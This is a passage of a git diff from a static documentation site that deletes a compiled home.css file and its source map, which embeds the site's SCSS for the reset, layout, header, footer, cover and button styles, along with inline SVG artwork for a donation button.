84.9574C490.109 86.0253 489.422 87.0362 488.607 87.9913C487.792 88.9464 486.873 89.7913 485.851 90.5234C484.827 91.2561 483.757 91.7816 482.639 92.0991C481.519 92.4506 480.592 92.49 479.857 92.2191C479.122 91.9488 478.539 91.487 478.107 90.8343C477.676 90.181 477.365 89.3931 477.172 88.4689C476.981 87.5459 476.868 86.5907 476.837 85.6029C478.659 85.7307 480.281 85.4047 481.703 84.6235C483.125 83.8435 484.332 82.8077 485.324 81.5181C486.314 80.229 487.065 78.7799 487.576 77.1715C488.087 75.563 488.375 73.963 488.44 72.3703C488.471 70.8734 488.247 69.6073 487.768 68.5722C487.289 67.5377 486.642 66.7328 485.827 66.1601C485.011 65.5862 484.077 65.2522 483.021 65.1565C481.967 65.0607 480.896 65.205 479.809 65.5862C478.498 66.0328 477.388 66.7571 476.478 67.7601C475.567 68.7637 474.807 69.9267 474.2 71.2473C473.592 72.5697 473.113 73.9939 472.761 75.523C472.409 77.0515 472.154 78.5569 471.995 80.0375C471.839 81.4744 471.755 82.8496 471.736 84.1659C471.615 84.4283 471.486 84.692 471.347 84.9574C470.787 86.0253 470.1 87.0362 469.285 87.9913C468.471 88.9464 467.551 89.7913 466.529 90.5234C465.506 91.2561 464.435 91.7816 463.317 92.0991C462.197 92.4506 461.271 92.49 460.536 92.2191C459.8 91.9488 459.217 91.487 458.786 90.8343C458.355 90.181 458.043 89.3931 457.851 88.4689C457.659 87.5459 457.547 86.5907 457.515 85.6029C459.337 85.7307 460.959 85.4047 462.382 84.6235C463.803 83.8435 465.01 82.8077 466.001 81.5181C466.992 80.229 467.743 78.7799 468.254 77.1715C468.765 75.563 469.054 73.963 469.117 72.3703C469.149 70.8734 468.926 69.6073 468.447 68.5722C467.967 67.5377 467.319 66.7328 466.504 66.1601C465.689 65.5862 464.755 65.2522 463.7 65.1565C462.645 65.0607 461.574 65.205 460.488 65.5862C459.176 66.0328 458.066 66.7571 457.156 67.7601C456.245 68.7637 455.485 69.9267 454.878 71.2473C454.271 72.5697 453.792 73.9939 453.44 75.523C453.088 77.0515 452.832 78.5569 452.673 80.0375C452.582 80.8726 452.522 81.6823 452.477 82.4774C452.168 82.7393 451.867 83.0029 451.546 83.2617C450.444 84.1538 449.284 84.9574 448.07 85.6744C446.855 86.3913 445.592 86.9804 444.283 87.4422C442.971 87.904 441.629 88.1828 440.255 88.278L443.228 56.5578C443.42 55.8887 443.324 55.3003 442.94 54.7906C442.557 54.2809 442.061 53.9306 441.454 53.7397C440.847 53.5482 440.199 53.5645 439.512 53.787C438.824 54.0106 438.258 54.5203 437.81 55.3154C437.586 56.5263 437.354 58.182 437.115 60.2838C436.875 62.3856 436.635 64.6789 436.396 67.1631C436.156 69.6473 435.916 72.2109 435.677 74.8539C435.437 77.4981 435.229 79.966 435.053 82.2587C435.045 82.3605 435.039 82.4526 435.031 82.5532C434.751 82.7896 434.48 83.0277 434.19 83.2617C433.088 84.1538 431.928 84.9574 430.714 85.6744C429.499 86.3913 428.237 86.9804 426.927 87.4422C425.616 87.904 424.273 88.1828 422.899 88.278L425.872 56.5578C426.064 55.8887 425.968 55.3003 425.585 54.7906C425.201 54.2809 424.705 53.9306 424.098 53.7397C423.491 53.5482 422.843 53.5645 422.156 53.787C421.469 54.0106 420.902 54.5203 420.454 55.3154C420.23 56.5263 419.999 58.182 419.76 60.2838C419.519 62.3856 419.28 64.6789 419.04 67.1631C418.8 69.6473 418.561 72.2109 418.321 74.8539C418.082 77.4981 417.873 79.966 417.698 82.2587C417.694 82.3047 417.691 82.3465 417.687 82.3926C417.185 82.6247 416.638 82.8284 416.043 82.9993C415.436 83.175 414.749 83.2786 413.982 83.3102C414.11 82.7362 414.213 82.0993 414.293 81.3987C414.373 80.6987 414.438 79.966 414.486 79.2011C414.534 78.4375 414.549 77.6727 414.534 76.9084C414.517 76.1436 414.477 75.4436 414.414 74.806C414.253 73.4376 413.958 72.1394 413.527 70.9128C413.095 69.6873 412.512 68.6607 411.777 67.8316C411.041 67.0037 410.123 66.4462 409.019 66.1601C407.917 65.8734 406.63 65.9686 405.161 66.4462C402.986 66.1601 401.029 66.3595 399.287 67.0437C397.545 67.7292 396.034 68.7237 394.756 70.0291C393.478 71.3358 392.431 72.8715 391.616 74.6394C390.801 76.4066 390.257 78.2224 389.986 80.0848C389.871 80.8744 389.815 81.6605 389.798 82.4447C389.303 83.4544 388.761 84.3368 388.164 85.0774C387.317 86.1283 386.438 86.9883 385.527 87.6568C384.616 88.3258 383.713 88.8355 382.819 89.1858C381.923 89.5367 381.124 89.7755 380.421 89.9022C379.59 90.0616 378.791 90.0779 378.024 89.9501C377.257 89.8234 376.553 89.4567 375.915 88.8513C375.403 88.4058 375.011 87.6889 374.74 86.7016C374.468 85.7144 374.309 84.5926 374.261 83.3338C374.213 82.0756 374.261 80.7617 374.404 79.3926C374.548 78.0236 374.795 76.7254 375.147 75.4994C375.499 74.2733 375.945 73.1746 376.49 72.2024C377.032 71.2322 377.672 70.5388 378.408 70.1249C378.822 70.1891 379.079 70.4352 379.175 70.8649C379.271 71.2952 379.294 71.8049 379.246 72.394C379.199 72.9836 379.127 73.5885 379.031 74.2091C378.935 74.8303 378.887 75.3485 378.887 75.7618C379.047 76.6218 379.358 77.2909 379.822 77.7684C380.285 78.246 380.805 78.5254 381.38 78.6042C381.955 78.6842 382.522 78.549 383.083 78.1981C383.641 77.8484 384.096 77.2909 384.449 76.526C384.48 76.5581 384.528 76.5739 384.592 76.5739L385.264 70.5073C385.455 69.6788 385.327 68.9467 384.88 68.3098C384.432 67.6728 383.841 67.3062 383.106 67.211C382.179 65.8734 380.924 65.165 379.342 65.085C377.76 65.0056 376.138 65.5231 374.476 66.6377C373.453 67.371 372.55 68.3813 371.767 69.671C370.983 70.9613 370.345 72.394 369.85 73.9703C369.353 75.5466 369.002 77.2115 368.795 78.963C368.587 80.7144 368.547 82.4187 368.674 84.0738C368.802 85.7307 369.098 87.2913 369.562 88.7555C370.025 90.221 370.672 91.447 371.504 92.4337C372.207 93.2937 373.005 93.9233 373.9 94.3215C374.795 94.7197 375.73 94.9658 376.705 95.0615C377.68 95.1567 378.647 95.1167 379.606 94.9421C380.565 94.7676 381.476 94.5209 382.339 94.2015C383.457 93.7882 384.609 93.2621 385.791 92.6252C386.973 91.9888 388.108 91.224 389.195 90.3319C389.767 89.8628 390.317 89.3513 390.849 88.8028C391.091 89.4016 391.362 89.981 391.688 90.5234C392.551 91.9561 393.717 93.1191 395.188 94.0106C396.657 94.9021 398.464 95.3312 400.605 95.3003C402.907 95.2682 405.032 94.6876 406.982 93.5567C408.932 92.427 410.53 90.7616 411.777 88.5646C413.644 88.5646 415.481 88.258 417.287 87.6489C417.272 87.8416 417.256 88.0446 417.242 88.2307C417.115 89.9186 417.05 91.0646 417.05 91.67C417.019 92.7209 416.947 94.0185 416.835 95.5627C416.723 97.1075 416.651 98.7318 416.619 100.435C416.588 102.139 416.651 103.859 416.811 105.595C416.971 107.33 417.306 108.907 417.818 110.325C418.328 111.741 419.055 112.944 419.999 113.932C420.941 114.918 422.18 115.508 423.715 115.699C425.345 115.921 426.751 115.635 427.934 114.839C429.116 114.042 430.075 112.952 430.811 111.567C431.546 110.181 432.064 108.581 432.369 106.766C432.672 104.95 432.76 103.127 432.633 101.295C432.504 99.4639 432.168 97.7366 431.625 96.113C431.082 94.4882 430.33 93.1506 429.372 92.0991C429.948 91.9409 430.634 91.6385 431.434 91.1919C432.232 90.7464 433.055 90.2446 433.903 89.687C434.111 89.5501 434.316 89.4058 434.524 89.2652C434.446 90.3937 434.406 91.1985 434.406 91.67C434.375 92.7209 434.303 94.0185 434.19 95.5627C434.079 97.1075 434.007 98.7318 433.975 100.435C433.943 102.139 434.007 103.859 434.167 105.595C434.326 107.33 434.662 108.907 435.173 110.325C435.684 111.741 436.412 112.944 437.354 113.932C438.297 114.918 439.536 115.508 441.071 115.699C442.7 115.921 444.106 115.635 445.289 114.839C446.472 114.042 447.431 112.952 448.166 111.567C448.901 110.181 449.42 108.581 449.724 106.766C450.028 104.95 450.115 103.127 449.988 101.295C449.86 99.4639 449.524 97.7366 448.982 96.113C448.437 94.4882 447.687 93.1506 446.727 92.0991C447.303 91.9409 447.99 91.6385 448.789 91.1919C449.588 90.7464 450.411 90.2446 451.259 89.687C451.699 89.3974 452.136 89.0986 452.573 88.7913C452.737 90.3488 453.091 91.7149 453.655 92.864C454.343 94.2658 455.277 95.3482 456.46 96.113C457.642 96.8766 459.033 97.299 460.632 97.3784C462.23 97.4572 463.971 97.1633 465.858 96.4942C467.264 95.9851 468.486 95.3482 469.525 94.5839C470.563 93.8191 471.498 92.8876 472.33 91.7894C472.378 91.7258 472.423 91.6567 472.47 91.5925C472.618 92.0385 472.782 92.467 472.977 92.864C473.665 94.2658 474.6 95.3482 475.782 96.113C476.964 96.8766 478.355 97.299 479.953 97.3784C481.551 97.4572 483.293 97.1633 485.179 96.4942C486.586 95.9851 487.808 95.3482 488.847 94.5839C489.885 93.8191 490.82 92.8876 491.652 91.7894C492.483 90.6901 493.241 89.424 493.929 87.9913C494.616 86.558 495.311 84.9186 496.015 83.0708C496.142 82.5617 496.022 82.1078 495.655 81.7096Z' fill='%230D0C23'/%3E%3C/svg%3E%0A");border-radius:6px;box-shadow:0px 2px 3px rgba(0,0,0,0.1)}:root[data-color="dark"] .btn-buymeacoffee,:root[data-color="night"] .btn-buymeacoffee{box-shadow:0px 2px 3px rgba(255,255,255,0.1)}.btn-close{background:var(--background-fg);border:1px dotted var(--border-color);border-radius:4px;cursor:pointer}.dropdown{position:relative}.dropdown-btn{display:flex;flex-direction:row;box-shadow:var(--box-shadow);border-radius:6px;padding:6px;cursor:pointer;white-space:nowrap}.dropdown-btn .icon-select{opacity:.4}.dropdown-menu{display:none;position:absolute;right:0;top:34px;min-width:100px;max-height:240px;overflow-x:auto;background:var(--background);color:var(--color3);box-shadow:var(--box-shadow2);z-index:1;border-radius:6px;padding:3px}.dropdown-menu.show{display:block}.dropdown-menu button,.dropdown-menu a{width:100%;display:flex;gap:2px;padding:6px;align-items:center;justify-content:center;cursor:pointer}.dropdown-menu button:hover,.dropdown-menu a:hover{background:var(--background-fg)} - -/*# sourceMappingURL=home.css.map */ \ No newline at end of file diff --git a/public/scss/home.css.map b/public/scss/home.css.map deleted file mode 100644 index 80f718f..0000000 --- a/public/scss/home.css.map +++ /dev/null @@ -1,29 +0,0 @@ -{ - "version": 3, - "file": "home.css", - "sourceRoot": "/Users/sangambiradar/Documents/GitHub/kubernetesdaily.github.io", - "sources": [ - "assets/scss/home.scss", - "assets/scss/reset.scss", - "assets/scss/variables.scss", - "assets/scss/layout.scss", - "assets/scss/component/site-header.scss", - "assets/scss/component/site-footer.scss", - "assets/scss/component/home.scss", - "assets/scss/component/_button.scss", - "assets/scss/component/_dropdown.scss" - ], - "sourcesContent": [ - "/*!\n * Docura (https://docura.github.io/)\n * Copyright 2022-2023 Dumindu Madunuwan\n * Licensed under the MIT License.\n */\n\n@import \"reset\";\n@import \"variables\";\n@import \"layout\";\n\n@import \"component/site-header\";\n@import \"component/site-footer\";\n@import \"component/home\";\n\n@import \"component/button\";\n@import \"component/dropdown\";", - "/* https://github.com/elad2412/the-new-css-reset v1.11 */\n/* custom styles for: pre, code */\n\n*:where(:not(html, iframe, canvas, img, svg, video, audio, pre, code):not(svg *, symbol *)) {\n all: unset;\n display: revert;\n}\n\n*,\n*::before,\n*::after {\n box-sizing: border-box;\n}\n\nhtml {\n -moz-text-size-adjust: none;\n -webkit-text-size-adjust: none;\n text-size-adjust: none;\n}\n\na, button {\n cursor: revert;\n}\n\nol, ul, menu {\n list-style: none;\n}\n\nimg {\n max-inline-size: 100%;\n max-block-size: 100%;\n}\n\ntable {\n border-collapse: collapse;\n}\n\ninput, textarea {\n -webkit-user-select: auto;\n}\n\ntextarea {\n white-space: revert;\n}\n\nmeter {\n -webkit-appearance: revert;\n appearance: revert;\n}\n\n:where(pre) {\n all: revert;\n box-sizing: border-box;\n}\n\n::placeholder {\n color: unset;\n}\n\n::marker {\n content: initial;\n}\n\n:where([hidden]) {\n display: none;\n}\n\n:where([contenteditable]:not([contenteditable=\"false\"])) {\n -moz-user-modify: read-write;\n -webkit-user-modify: read-write;\n overflow-wrap: break-word;\n -webkit-line-break: after-white-space;\n -webkit-user-select: auto;\n}\n\n:where([draggable=\"true\"]) {\n -webkit-user-drag: element;\n}\n\n:where(dialog:modal) {\n all: revert;\n box-sizing: border-box;\n}\n\npre, code {\n margin: 0;\n}", - ":root {\n --site-header-height: 46px;\n --site-footer-height: 46px;\n}\n\n@media (min-width: 1025px) and (max-width: 1280px),\n(min-width: 1024px) and (max-width: 1280px) and (orientation: portrait) {\n :root {\n --site-header-height: 60px;\n --site-footer-height: 60px;\n }\n}\n\n@media (min-width: 1281px) {\n :root {\n --site-header-height: 80px;\n --site-footer-height: 80px;\n }\n}", - "body {\n font-family: var(--font-family);\n background: var(--background);\n color: var(--color);\n display: flex;\n flex-direction: column;\n min-height: 100svh;\n}\n\n#site-header {\n display: grid;\n grid-template-columns: 2fr 1fr;\n grid-template-rows: repeat(3, var(--site-header-height));\n}\n\n#site-header-menu, #site-header-search {\n grid-column: 1 / 3;\n}\n\n#site-footer {\n display: grid;\n grid-template-columns: 1fr 1fr;\n grid-template-rows: repeat(3, var(--site-footer-height));\n}\n\n#site-footer-copyright, #site-footer-love {\n grid-column: 1 / 3;\n}\n\n#site-main-content-wrapper {\n display: flex;\n flex: 1;\n}\n\n#sidebar, #toc, #article-nav, #sidebar .btn-close, #toc .btn-close {\n display: none;\n}\n\nmain {\n flex: 1;\n display: flex;\n overflow: auto;\n}\n\n#article {\n flex: 1;\n width: 100vw;\n}\n\n#sidebar {\n width: 85%;\n left: -85%;\n}\n\n#toc {\n width: 85%;\n right: -85%;\n}\n\n/* Small Tablet */\n@media (min-width: 768px) and (max-width: 1023px) {\n #site-header {\n grid-template-columns: repeat(6, 1fr);\n grid-template-rows: repeat(2, var(--site-header-height));\n }\n\n #site-header-brand {\n grid-column: 1 / 6;\n }\n\n #site-header-controls {\n grid-column: 6 / 7;\n }\n\n #site-header-menu {\n grid-column: 1 / 5;\n }\n\n #site-header-search {\n grid-column: 5 / 7;\n }\n\n #site-footer {\n grid-template-columns: repeat(4, 1fr);\n grid-template-rows: repeat(2, var(--site-footer-height));\n }\n\n #site-footer-copyright {\n grid-column: 1 / 3;\n }\n\n #site-footer-social {\n grid-column: 3 / 4;\n }\n\n #site-footer-fund {\n grid-column: 4 / 5;\n }\n\n #site-footer-love {\n grid-column: 1 / 5;\n }\n\n #sidebar {\n width: 50%;\n left: -50%;\n }\n\n #toc {\n width: 50%;\n right: -50%;\n }\n}\n\n/* From Large Tablet */\n@media (min-width: 1024px) {\n #site-header {\n grid-template-columns: repeat(6, 1fr);\n grid-template-rows: var(--site-header-height);\n }\n\n #site-header-brand {\n grid-column: 1 / 2;\n }\n\n #site-header-menu {\n grid-column: 2 / 5;\n grid-row: 1;\n }\n\n #site-header-search {\n grid-column: 5 / 6;\n grid-row: 1;\n }\n\n #site-header-controls {\n grid-column: 6 / 7;\n }\n\n #site-footer {\n grid-template-columns: repeat(5, 1fr);\n grid-template-rows: var(--site-footer-height);\n }\n\n #site-footer-copyright {\n grid-column: 1 / 3;\n }\n\n #site-footer-love {\n grid-column: 3 / 4;\n grid-row: 1;\n }\n\n #site-footer-social {\n grid-column: 4 / 5;\n }\n\n #site-footer-fund {\n grid-column: 5 / 6;\n }\n\n #article-nav-toc-btn {\n display: none;\n }\n}\n\n/* Large Tablet */\n@media (min-width: 1024px) and (max-width: 1279px) {\n #sidebar {\n width: 33%;\n left: -33%;\n }\n\n #article {\n width: 75vw;\n }\n\n #toc {\n width: 25%;\n display: flex;\n flex-direction: column;\n }\n\n #toc .sticky {\n position: fixed;\n right: 0;\n width: 25%;\n }\n}\n\n/* From Desktop */\n@media (min-width: 1280px) {\n #sidebar {\n width: 20%;\n display: flex;\n flex-direction: column;\n }\n\n #article {\n width: 60vw;\n }\n\n #toc {\n width: 25%;\n display: flex;\n flex-direction: column;\n }\n\n #sidebar .sticky {\n position: fixed;\n left: 0;\n width: 20%;\n }\n\n #toc .sticky {\n position: fixed;\n right: 0;\n width: 20%;\n }\n}\n\n/* Upto Large Tablet */\n@media (max-width: 1023px) {\n #toc {\n position: fixed;\n top: 0;\n height: 100%;\n transition: .3s;\n z-index: 300;\n overflow-x: auto;\n background: var(--background);\n box-shadow: 0 4px 30px rgba(0, 0, 0, 0.1);\n }\n\n :root[data-color=\"dark\"] #toc, :root[data-color=\"night\"] #toc {\n box-shadow: 0 4px 30px rgba(255, 255, 255, 0.1);\n }\n\n .offcanvas-toc-on #toc {\n animation: slide-in-right .3s forwards;\n display: flex;\n flex-direction: column;\n padding-left: 16px;\n z-index: 10;\n cursor: default;\n }\n\n .offcanvas-toc-on:before {\n content: \"\";\n position: fixed;\n top: 0;\n left: 0;\n width: 100%;\n height: 100%;\n z-index: 5;\n }\n\n .offcanvas-toc-on #toc .btn-close {\n display: block;\n position: absolute;\n top: 10px;\n left: 10px;\n }\n\n #article-nav-toc-btn {\n display: flex;\n box-shadow: var(--box-shadow2);\n border-radius: 6px;\n padding: 6px;\n cursor: pointer;\n white-space: nowrap;\n gap: 6px;\n color: var(--color2);\n }\n}\n\n/* Upto Desktop */\n@media (max-width: 1279px) {\n #sidebar {\n position: fixed;\n top: 0;\n height: 100%;\n transition: .3s;\n z-index: 200;\n overflow-x: auto;\n background: var(--background);\n box-shadow: 0 4px 30px rgba(0, 0, 0, 0.1);\n }\n\n :root[data-color=\"dark\"] #sidebar, :root[data-color=\"night\"] #sidebar {\n box-shadow: 0 4px 30px rgba(255, 255, 255, 0.1);\n }\n\n .offcanvas-sidebar-on #sidebar {\n animation: slide-in-left .3s forwards;\n display: flex;\n flex-direction: column;\n z-index: 10;\n cursor: default;\n }\n\n .offcanvas-sidebar-on:before {\n content: \"\";\n position: fixed;\n top: 0;\n left: 0;\n width: 100%;\n height: 100%;\n z-index: 5;\n }\n\n .offcanvas-sidebar-on #sidebar .btn-close {\n display: block;\n position: absolute;\n top: 10px;\n right: 10px;\n }\n\n #article-nav {\n display: flex;\n gap: 12px;\n overflow: auto;\n justify-content: space-between;\n height: var(--site-header-height);\n align-items: center;\n padding: 0 2px;\n }\n\n #article-nav-menu-btn {\n display: flex;\n box-shadow: var(--box-shadow2);\n border-radius: 6px;\n padding: 6px;\n cursor: pointer;\n white-space: nowrap;\n gap: 6px;\n color: var(--color2);\n }\n}\n\nbody.offcanvas-sidebar-on, body.offcanvas-toc-on {\n cursor: pointer;\n overflow: hidden;\n}\n\n.offcanvas-sidebar-on:before, .offcanvas-toc-on:before {\n background: rgba(255, 255, 255, 0.1);\n backdrop-filter: blur(var(--blur));\n -webkit-backdrop-filter: blur(var(--blur));\n}\n\n@keyframes slide-in-left {\n from {\n transform: translateX(0);\n }\n to {\n transform: translateX(100%);\n }\n}\n\n@keyframes slide-in-right {\n from {\n transform: translateX(0);\n }\n to {\n transform: translateX(-100%);\n }\n}", - "#site-header-brand {\n display: flex;\n align-items: center;\n font-family: var(--font-family-brand);\n font-size: 1.4em;\n color: var(--color2);\n}\n\n#site-header-brand a {\n padding: 12px;\n}\n\n#site-header-menu {\n padding: 0 12px;\n display: flex;\n align-items: center;\n color: var(--color3);\n}\n\n#site-header-menu nav {\n width: 100%;\n overflow: auto;\n}\n\n#site-header-menu ul {\n display: flex;\n height: 100%;\n align-items: center;\n gap: 12px;\n}\n\n#site-header-menu a {\n display: flex;\n padding: 12px 6px;\n gap: 3px;\n white-space: nowrap;\n}\n\n#site-header-menu a:focus, #site-header-menu a:hover, #site-header-menu a.active {\n border-bottom: 3px solid;\n}\n\n#site-header-controls {\n display: flex;\n align-items: center;\n padding-right: 12px;\n justify-content: flex-end;\n gap: 12px\n}\n\n#site-header-search {\n display: flex;\n align-items: flex-end;\n}\n\n/* From Small Tablet */\n@media (min-width: 768px) {\n #site-header-search {\n align-items: center;\n }\n}", - "#site-footer-social {\n display: flex;\n gap: 12px;\n justify-content: flex-start;\n padding-left: 12px;\n align-items: center;\n}\n\n#site-footer-fund {\n display: flex;\n gap: 12px;\n overflow: auto;\n justify-content: flex-end;\n padding-right: 12px;\n align-items: center;\n}\n\n#site-footer-copyright, #site-footer-love {\n display: flex;\n align-items: center;\n justify-content: center;\n color: var(--color3)\n}\n\n#site-footer-copyright a {\n display: flex;\n align-items: center;\n}\n\n/* From Small Tablet */\n@media (min-width: 768px) {\n #site-footer-copyright {\n justify-content: flex-start;\n padding-left: 12px;\n }\n\n #site-footer-social {\n justify-content: flex-end;\n padding-right: 12px;\n }\n}\n", - ".cover {\n padding: 40px 20px;\n width: 100vw;\n flex: 1;\n display: flex;\n align-items: center;\n justify-content: center;\n flex-direction: column;\n background: var(--home-cover-background);\n position: relative;\n color: var(--color2)\n}\n\n.cover::after {\n content: \"\";\n position: absolute;\n top: 0;\n left: 0;\n right: 0;\n bottom: 0;\n z-index: -1;\n background: inherit;\n filter: blur(1rem);\n}\n\n.cover h1 {\n font-family: var(--font-family-brand);\n font-size: 4em;\n text-align: center;\n}\n\n.cover h2 {\n font-family: var(--font-family-brand);\n font-size: 2em;\n text-align: center;\n}\n\n.cover h3 {\n font-family: var(--font-family-brand);\n font-size: 1.5em;\n text-align: center;\n padding-top: .8em;\n}\n\n.cover p {\n font-size: 1em;\n padding-top: .8em;\n}\n\n.github-buttons {\n display: flex;\n gap: 10px;\n padding-top: 20px;\n justify-content: center;\n}\n\n.github-repos-grid {\n display: flex;\n flex-wrap: wrap;\n padding-top: 4em;\n padding-bottom: 2em;\n gap: 4em;\n width: 100%;\n}\n\n.github-repo-tile {\n width: 100%;\n}\n\n.github-repo-tile .icon {\n width: 80px;\n height: 80px;\n background-size: 5em;\n}\n\n.github-repo-tile a {\n display: flex;\n flex-direction: column;\n align-items: center;\n}\n\n@media (min-width: 768px) {\n .github-repos-grid {\n flex-direction: row;\n width: 80%;\n padding-top: 4em;\n gap: 0;\n }\n\n .github-repo-tile {\n width: 50%;\n }\n}\n\n@media (min-width: 1024px) {\n .github-repos-grid {\n width: 60%;\n padding-top: 6em;\n }\n\n .github-repo-tile .icon {\n width: 100px;\n height: 100px;\n background-size: 6.25em;\n }\n}\n\n@media (min-width: 1281px) {\n .github-repos-grid {\n width: 50%;\n }\n\n .github-repo-tile .icon {\n width: 120px;\n height: 120px;\n background-size: 7.5em;\n }\n}\n\n@media (min-width: 1920px) {\n .github-repos-grid {\n width: 40%;\n }\n\n .github-repo-tile .icon {\n width: 160px;\n height: 160px;\n background-size: 10em;\n }\n}", - ".btn-github {\n display: flex;\n flex-direction: row;\n gap: 2px;\n font-size: .7em; /*11 px*/\n font-weight: 700;\n line-height: 1.8em;\n color: #576060;\n background: #f6f8fa;\n border: 1px solid #d5d7da;\n border-radius: 6px;\n padding: 2px 4px;\n}\n\n:root[data-color=\"dark\"] .btn-github, :root[data-color=\"night\"] .btn-github {\n color: #c9d1d9;\n background: #21262d;\n border: 1px solid #576060;\n}\n\n.btn-github .icon {\n transform: scale(.8); /* 18px */\n}\n\n.btn-buymeacoffee {\n width: 86px;\n height: 24px;\n background-image: url(\"data:image/svg+xml,%3Csvg width='85.5' height='24' viewBox='0 0 545 153' fill='none' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath d='M0 24.48C0 10.9601 10.9601 0 24.48 0H520.2C533.72 0 544.68 10.9601 544.68 24.48V128.52C544.68 142.04 533.72 153 520.2 153H24.48C10.9601 153 0 142.04 0 128.52V24.48Z' fill='%23FFDD00'/%3E%3Cpath d='M109.522 50.3178L109.455 50.2783L109.299 50.2308C109.362 50.2836 109.44 50.3142 109.522 50.3178Z' fill='%230D0C22'/%3E%3Cpath d='M110.507 57.3134L110.432 57.3344L110.507 57.3134Z' fill='%230D0C22'/%3E%3Cpath d='M109.549 50.3062C109.54 50.3051 109.532 50.3031 109.524 50.3003C109.523 50.3058 109.523 50.3113 109.524 50.3168C109.533 50.3156 109.541 50.3119 109.549 50.3062Z' fill='%230D0C22'/%3E%3Cpath d='M109.523 50.3205H109.536V50.3127L109.523 50.3205Z' fill='%230D0C22'/%3E%3Cpath d='M110.447 57.3006L110.56 57.2361L110.602 57.2123L110.64 57.1715C110.569 57.2025 110.503 57.2462 110.447 57.3006Z' fill='%230D0C22'/%3E%3Cpath d='M109.715 50.4713L109.604 50.3659L109.529 50.3251C109.57 50.3963 109.636 50.4488 109.715 50.4713Z' fill='%230D0C22'/%3E%3Cpath d='M81.8801 118.353C81.7916 118.391 81.7142 118.451 81.6548 118.527L81.7246 118.482C81.772 118.439 81.8392 118.387 81.8801 118.353Z' fill='%230D0C22'/%3E%3Cpath d='M98.0456 115.173C98.0456 115.073 97.9968 115.091 98.0087 115.447C98.0087 115.418 98.0206 115.389 98.0258 115.361C98.0324 115.298 98.0377 115.236 98.0456 115.173Z' fill='%230D0C22'/%3E%3Cpath d='M96.3761 118.353C96.2877 118.391 96.2103 118.451 96.1509 118.527L96.2207 118.482C96.2681 118.439 96.3353 118.387 96.3761 118.353Z' fill='%230D0C22'/%3E%3Cpath d='M70.4886 119.11C70.4215 119.052 70.3393 119.013 70.2515 118.999C70.3226 119.034 70.3937 119.068 70.4412 119.094L70.4886 119.11Z' fill='%230D0C22'/%3E%3Cpath d='M67.9304 116.657C67.92 116.553 67.8881 116.453 67.8369 116.362C67.8732 116.456 67.9035 116.553 67.9278 116.652L67.9304 116.657Z' fill='%230D0C22'/%3E%3Cpath d='M85.1368 72.7737C81.6195 74.2794 77.628 75.9866 72.4549 75.9866C70.2908 75.9823 68.1373 75.6854 66.0527 75.104L69.6306 111.838C69.7572 113.373 70.4567 114.805 71.59 115.848C72.7233 116.892 74.2076 117.471 75.7482 117.47C75.7482 117.47 80.8212 117.734 82.514 117.734C84.3358 117.734 89.7988 117.47 89.7988 117.47C91.3391 117.47 92.8231 116.891 93.9562 115.848C95.0892 114.804 95.7885 113.373 95.9151 111.838L99.7472 71.2456C98.0347 70.6607 96.3064 70.2721 94.358 70.2721C90.9883 70.2708 88.2733 71.4313 85.1368 72.7737Z' fill='white'/%3E%3Cpath d='M54.9844 57.1021L55.045 57.1587L55.0845 57.1824C55.0541 57.1522 55.0205 57.1252 54.9844 57.1021Z' fill='%230D0C22'/%3E%3Cpath d='M116.299 53.7119L115.761 50.9943C115.277 48.5559 114.18 46.2519 111.677 45.3706C110.875 45.0887 109.964 44.9675 109.349 44.384C108.734 43.8004 108.552 42.8941 108.41 42.0536C108.147 40.511 107.899 38.9671 107.629 37.4272C107.396 36.1033 107.211 34.616 106.604 33.4015C105.814 31.7706 104.174 30.8169 102.543 30.1859C101.707 29.8739 100.854 29.61 99.9884 29.3955C95.9139 28.3205 91.63 27.9253 87.4382 27.7001C82.407 27.4225 77.3623 27.5061 72.343 27.9504C68.6071 28.2902 64.6723 28.7013 61.1221 29.9935C59.8245 30.4665 58.4875 31.0342 57.5008 32.0367C56.2902 33.2684 55.895 35.1733 56.7789 36.7092C57.4073 37.8 58.4717 38.5706 59.6006 39.0804C61.0711 39.7373 62.6068 40.2371 64.1822 40.5716C68.5689 41.5412 73.1124 41.9219 77.5939 42.0839C82.561 42.2844 87.5362 42.1219 92.4796 41.5978C93.7021 41.4635 94.9224 41.3023 96.1405 41.1144C97.575 40.8944 98.4958 39.0185 98.073 37.7117C97.5671 36.1494 96.2077 35.5434 94.6703 35.7792C94.4438 35.8148 94.2185 35.8477 93.9919 35.8807L93.8286 35.9044C93.3078 35.9702 92.787 36.0317 92.2662 36.0888C91.1904 36.2047 90.112 36.2996 89.0309 36.3733C86.6097 36.5419 84.1818 36.6197 81.7553 36.6236C79.371 36.6236 76.9853 36.5564 74.6062 36.3997C73.5207 36.3285 72.4379 36.2381 71.3577 36.1283C70.8663 36.0769 70.3763 36.0229 69.8862 35.9623L69.4199 35.903L69.3185 35.8886L68.835 35.8187C67.847 35.6699 66.859 35.4986 65.8816 35.2918C65.783 35.2699 65.6947 35.2151 65.6315 35.1363C65.5683 35.0575 65.5338 34.9594 65.5338 34.8584C65.5338 34.7574 65.5683 34.6594 65.6315 34.5806C65.6947 34.5018 65.783 34.4469 65.8816 34.425H65.9C66.7471 34.2445 67.6007 34.0904 68.4569 33.956C68.7424 33.9113 69.0287 33.8673 69.3158 33.8243H69.3237C69.8599 33.7887 70.3987 33.6926 70.9322 33.6293C75.574 33.1465 80.2434 32.9819 84.9077 33.1367C87.1721 33.2025 89.4353 33.3356 91.6892 33.5648C92.174 33.6149 92.6562 33.6676 93.1383 33.7268C93.3227 33.7492 93.5085 33.7756 93.6942 33.798L94.0683 33.852C95.1591 34.0144 96.2441 34.2116 97.3234 34.4435C98.9227 34.7912 100.976 34.9045 101.688 36.6566C101.914 37.2125 102.017 37.8303 102.142 38.4139L102.302 39.1581C102.306 39.1715 102.309 39.1852 102.311 39.199C102.688 40.9554 103.065 42.7118 103.442 44.4683C103.47 44.598 103.471 44.7321 103.444 44.8621C103.418 44.9921 103.365 45.1153 103.289 45.2239C103.213 45.3326 103.115 45.4244 103.002 45.4936C102.889 45.5628 102.762 45.6079 102.631 45.6262H102.62L102.39 45.6578L102.162 45.6881C101.44 45.7821 100.717 45.8699 99.9936 45.9516C98.5683 46.114 97.1408 46.2546 95.711 46.3731C92.87 46.6094 90.0233 46.7644 87.1708 46.8381C85.7174 46.8768 84.2644 46.8948 82.8118 46.8921C77.0301 46.8876 71.2534 46.5516 65.5101 45.8857C64.8883 45.8119 64.2666 45.7329 63.6448 45.6525C64.1269 45.7145 63.2944 45.6051 63.1258 45.5814C62.7306 45.5261 62.3354 45.4686 61.9402 